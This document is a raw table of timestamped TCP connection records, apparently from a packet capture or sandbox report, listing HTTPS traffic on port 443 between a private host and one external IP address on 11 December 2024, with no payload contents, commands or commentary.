Dec 11, 2024 12:58:19.909780025 CET	49743	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:19.909832001 CET	443	49743	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:20.146517038 CET	443	49743	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:20.147439957 CET	49743	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:20.147450924 CET	443	49743	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:20.147737026 CET	49743	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:20.147744894 CET	443	49743	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:20.997445107 CET	443	49743	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:20.997721910 CET	443	49743	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:20.998066902 CET	49743	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:20.998193026 CET	49743	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:21.017345905 CET	49744	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:21.017441034 CET	443	49744	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:21.017649889 CET	49744	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:21.017775059 CET	49744	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:21.017810106 CET	443	49744	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:21.253284931 CET	443	49744	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:21.254656076 CET	49744	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:21.254668951 CET	443	49744	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:22.078049898 CET	443	49744	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:22.078237057 CET	443	49744	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:22.078373909 CET	443	49744	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:22.078459024 CET	443	49744	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:22.078465939 CET	49744	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:22.078533888 CET	443	49744	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:22.078643084 CET	49744	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:22.128501892 CET	49744	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:22.128514051 CET	443	49744	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:22.175364971 CET	49744	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:22.306416988 CET	443	49744	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:22.306744099 CET	443	49744	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:22.306762934 CET	443	49744	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:22.306981087 CET	49744	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:22.306994915 CET	443	49744	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:22.307188034 CET	49744	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:22.307218075 CET	443	49744	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:22.307255983 CET	443	49744	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:22.307404041 CET	49744	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:22.307415009 CET	443	49744	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:22.307640076 CET	49744	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:22.307728052 CET	443	49744	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:22.362855911 CET	49744	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:22.543134928 CET	443	49744	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:22.543486118 CET	443	49744	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:22.543505907 CET	443	49744	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:22.543653965 CET	49744	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:22.543665886 CET	443	49744	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:22.543713093 CET	443	49744	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:22.543842077 CET	49744	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:22.554790020 CET	49744	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:23.136641026 CET	49745	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:23.136667013 CET	443	49745	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:23.136881113 CET	49745	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:23.136967897 CET	49745	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:23.136981964 CET	443	49745	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:23.370646000 CET	443	49745	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:23.371618032 CET	49745	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:23.371628046 CET	443	49745	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:23.371867895 CET	49745	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:23.371875048 CET	443	49745	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:23.951627016 CET	443	49745	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:23.951914072 CET	443	49745	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:23.952105045 CET	49745	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:23.952265024 CET	49745	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:24.030328989 CET	49746	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:24.030352116 CET	443	49746	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:24.030517101 CET	49746	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:24.030605078 CET	49746	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:24.030610085 CET	443	49746	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:24.263691902 CET	443	49746	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:24.264491081 CET	49746	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:24.264502048 CET	443	49746	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:24.264686108 CET	49746	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:24.264691114 CET	443	49746	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:24.824080944 CET	49747	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:24.824125051 CET	443	49747	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:24.824359894 CET	49747	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:24.826515913 CET	49747	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:24.826531887 CET	443	49747	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:25.071850061 CET	443	49747	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:25.072127104 CET	49747	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:25.073436975 CET	49747	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:25.073483944 CET	443	49747	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:25.074482918 CET	443	49747	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:25.076848030 CET	49747	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:25.103885889 CET	443	49746	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:25.103935957 CET	443	49746	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:25.104222059 CET	49746	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:25.104319096 CET	49746	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:25.118206024 CET	443	49747	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:25.134988070 CET	49748	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:25.135000944 CET	443	49748	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:25.135166883 CET	49748	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:25.135298967 CET	49748	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:25.135305882 CET	443	49748	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:25.369679928 CET	443	49748	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:25.370609999 CET	49748	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:25.370620012 CET	443	49748	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:25.370829105 CET	49748	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:25.370834112 CET	443	49748	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:25.940938950 CET	443	49747	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:25.941128969 CET	443	49747	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:25.941230059 CET	443	49747	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:25.941325903 CET	49747	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:25.941335917 CET	443	49747	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:25.941381931 CET	443	49747	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:25.941556931 CET	49747	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:25.941587925 CET	443	49747	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:25.941855907 CET	49747	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:25.947201014 CET	49747	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:25.964345932 CET	443	49748	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:25.964627981 CET	443	49748	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:25.964787960 CET	49748	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:25.965002060 CET	49748	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:29.126280069 CET	49752	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:29.126302004 CET	443	49752	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:29.126455069 CET	49752	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:29.129348040 CET	49752	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:29.129360914 CET	443	49752	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:29.363573074 CET	443	49752	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:29.363738060 CET	49752	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:29.365228891 CET	49752	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:29.365240097 CET	443	49752	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:29.365567923 CET	443	49752	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:29.368510962 CET	49752	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:29.410212994 CET	443	49752	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:29.969623089 CET	443	49752	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:29.969773054 CET	443	49752	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:29.969816923 CET	443	49752	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:29.969891071 CET	443	49752	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:29.969985962 CET	49752	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:29.969995022 CET	443	49752	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:29.970031977 CET	49752	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:29.970089912 CET	443	49752	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:29.970108986 CET	443	49752	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:29.970333099 CET	49752	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:29.970336914 CET	443	49752	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:29.970472097 CET	49752	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:29.970592976 CET	443	49752	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:30.017353058 CET	49752	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:30.208827972 CET	443	49752	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:30.209095001 CET	443	49752	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:30.209131002 CET	443	49752	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:30.209248066 CET	49752	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:30.225680113 CET	49752	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:30.358047962 CET	49753	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:30.358064890 CET	443	49753	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:30.358243942 CET	49753	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:30.358663082 CET	49753	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:30.358671904 CET	443	49753	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:30.591273069 CET	443	49753	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:30.592099905 CET	49753	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:30.592108965 CET	443	49753	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:30.592293024 CET	49753	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:30.592295885 CET	443	49753	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:31.194732904 CET	443	49753	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:31.194828033 CET	443	49753	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:31.195087910 CET	49753	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:31.195291042 CET	49753	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:42.173763990 CET	49756	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:42.173783064 CET	443	49756	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:42.173949003 CET	49756	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:42.174045086 CET	49756	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:42.174052954 CET	443	49756	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:42.407807112 CET	443	49756	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:42.408792019 CET	49756	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:42.408799887 CET	443	49756	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:42.409030914 CET	49756	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:42.409044027 CET	443	49756	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:43.250864029 CET	443	49756	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:43.250955105 CET	443	49756	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:43.251106977 CET	49756	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:43.251363993 CET	49756	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:43.283204079 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:43.283226967 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:43.283407927 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:43.283684015 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:43.283694029 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:43.517649889 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:43.518692970 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:43.518703938 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.131592989 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.131625891 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.131659985 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.131737947 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.131786108 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.131794930 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.131840944 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.131908894 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.132050037 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.186062098 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.186072111 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.232943058 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.361886978 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.362265110 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.362313032 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.362517118 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.362545967 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.362710953 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.362807989 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.362904072 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.362941980 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.363214016 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.363223076 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.363425970 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.363435030 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.363501072 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.363698006 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.363706112 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.404819012 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.597363949 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.597711086 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.597765923 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.597902060 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.597933054 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.598170996 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.598207951 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.598298073 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.598537922 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.598568916 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.598743916 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.598772049 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.598856926 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.598925114 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.599019051 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.599046946 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.599065065 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.599607944 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.599798918 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.599828005 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.654710054 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.837855101 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.838177919 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.838223934 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.838387966 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.838411093 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.838557959 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.838681936 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.838745117 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.838907003 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.838951111 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.838973999 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.839180946 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.839204073 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.839227915 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.839394093 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.840095043 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.840167046 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.840337038 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.840359926 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.840414047 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.840414047 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.841018915 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.841094971 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.841188908 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.841212034 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:44.841264009 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.841284990 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:44.889100075 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.069598913 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.069603920 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.069806099 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.069878101 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.069883108 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.070125103 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.070574999 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.070579052 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.070765018 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.071232080 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.071273088 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.071424961 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.071424961 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.071436882 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.071453094 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.072175980 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.072349072 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.072360992 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.072464943 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.072568893 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.072577953 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.072648048 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.073165894 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.073199987 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.073312998 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.073312998 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.073326111 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.073384047 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.074071884 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.074090958 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.074196100 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.074213028 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.074244022 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.074362993 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.302359104 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.302541018 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.302869081 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.303090096 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.303098917 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.303276062 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.303349018 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.303519011 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.304047108 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.304157972 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.304367065 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.304367065 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.304375887 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.304384947 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.305001020 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.305136919 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.305162907 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.305171967 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.305458069 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.306000948 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.306044102 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.306130886 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.306130886 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.306142092 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.306282043 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.306942940 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.307106018 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.307116032 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.307270050 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.307297945 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.307307005 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.307427883 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.308007956 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.308047056 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.308157921 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.308157921 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.308165073 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.308250904 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.357661963 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.357671022 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.404516935 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:45.542380095 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.542382956 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.542438030 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.542460918 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.542509079 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:45.542512894 CET	443	49757	104.21.1.51	192.168.11.20
